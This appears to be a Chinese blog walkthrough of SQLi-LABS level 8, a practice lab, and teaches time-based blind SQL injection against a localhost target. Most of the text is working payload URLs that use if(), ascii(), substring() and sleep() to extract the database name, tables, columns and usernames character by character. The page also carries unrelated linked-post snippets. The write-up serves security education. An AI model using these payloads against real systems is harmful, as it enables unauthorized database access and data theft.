Sqli-LABS通关笔录-8[延时注入]
通过该关卡我学习到了
1.if语句的三目运算符(其实说白了也就是php里的三位运算符)
2.sleep函数
3.substring函数(其实和substr一样)
4.limit的灵活运用
5.
Start Study
先来科普延时注入知识吧。
延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容。
拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。下面的案例是延时了十秒。
Example:
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
注:
substring()等价于substr
sleep(10)延时十秒

下面我们来看关卡。
将刚才的sql语句放到 url里
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring("helloworld",1,1))=104,sleep(10),1)--+

左上方可以看到正在连接,并且持续了十多秒,所以延时注入的影响因素跟时间也是息息相关的。延迟也就是说sleep(10)得到执行了。
00x1 猜数据库名
经过测试数据库名的第一个ASCII码为115
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
......................................................................................................2.................................
.....最终得出为:security

00x2 猜表名
记住哈,是从0开始的,我给写从1开始了。limit 0,1
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);--+ 符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114,sleep(10),1);--+ 不符合IF条件
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);--+ 等于114
推出第一个的ASCII码为:114
修改substring函数的第二个参数进行猜解第二个的ASCII码。
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101,sleep(10),1);--+
要猜第二个表的时候修改select下limit的即可,即(limit 2,1)也可如下所示:
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117,sleep(10),1);--+
注:

以上该图当中使用红色箭头标注的地点需是两个括号。原因很简单就是使用了双层的select语句,因为在其原本的sql语句中是有一个select的。所以说要多家一层括号。
详细的解释可参考《sql注入之你问我答小知识》的17问:http://www.cnblogs.com/xishaonian/p/6036909.html
00x3 猜字段
只需要将select语句里的
table_name改为column_name以及information_schemation.tables改为information_schemation.columns
就可以了。还是要记住哦,是从0开始的!
00x4 猜内容
格式:http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select 字段 from 数据库名.表明 order by id limit m,n),x,y))>68,sleep(10),1);--+
注:
m,n为limit函数的
x,y为substr函数的
可将格式再缩为:if(ascii(substr((select 字段 数据库.表明 order by id limit m,n))>ASCII码,sleep(10),1);
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1);--+
第一个ASCII:68
第二个ASCII:117
最后推出usernam第一个得出为:Dumb
诺,送users表下的数据图一张

转载请注明出处:珍惜少年时博客
THE END
Sqli-LABS通关笔录-8[延时注入]的更多相关文章
- Sqli-LABS通关笔录-9[延时注入]
通过这个关卡 1.更快的掌握到了如何判断是否是延时注入 无论咋输入,都不行.当payload为: http://127.0.0.1/sql/Less-9/index.php?id=1' and sle ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- Sqli-LABS通关笔录-17-审计SQL注入
这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- sqli-labs:7,导入导出;8-10 延时注入
1,Load_file()导出文件 使用条件: A.必须有权限读取并且文件必须完全可读(and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明 ...
- mysql 延时注入新思路
转自先知社区https://xz.aliyun.com/t/2288 在4月的pwnhub比赛中,我们遇到了一个比较神奇的问题,如果在注入中遇到需要延时注入的情况,但服务端过滤了我们一般使用的slee ...
随机推荐
- Java 获取盘符及分类
import java.io.File; import javax.swing.filechooser.FileSystemView; public class ByteTest { public s ...
- permission denied make_sock could not bind to address 81问题解决
在apache中绑定非http标准端口时,一直出现如下的错误提示: [root@localhost ~]# /etc/init.d/httpd start Starting httpd: (13)Pe ...
- 【vue.js】绑定click事件
- mybatis标签之——关联映射
关联关系是面向对象分析.面向对象设计最重要的知识.合理的关联映射将大大简化持久层数据的访问.关联关系大致分为以下三类: 一对一 一对多 多对多 1. 一对一 一对一关系推荐使用唯一主外键关联,即两张表 ...
- Fork me on GitHub
<a href="https://github.com/yadongliang"><img style="position: absolute; top ...
- request.getcontextPath() 详解(转)
本文转自:http://blog.csdn.net/pengxuan/article/details/6604578 <%=request.getContextPath()%>是为了解决相 ...
- windows named pipe 客户端 服务器
可以实现多客户端对一服务端,服务端为客户端提供服务. 其实一服务端对应每一个client pipe都新建立了一个pipe.windows允许建立多个同名pipe 效果: 服务端代码: #define ...
- Spring MVC POST中文乱码解决方案
spring Web MVC框架提供了org.springframework.web.filter.CharacterEncodingFilter用于解决POST方式造成的中文乱码问题,具体配置如下: ...
- RabbitMQ与.net core(二)Producer与Exchange
Producer:消息的生产者,也就是创建消息的对象 Exchange:消息的接受者,也就是用来接收消息的对象,Exchange接收到消息后将消息按照规则发送到与他绑定的Queue中.下面我们来定义一 ...
- android 搜索自动匹配关键字并且标红
这个效果主要是为了着重表现搜索关键字的 . 1. 单关键字匹配 若只需匹配 搜索 ...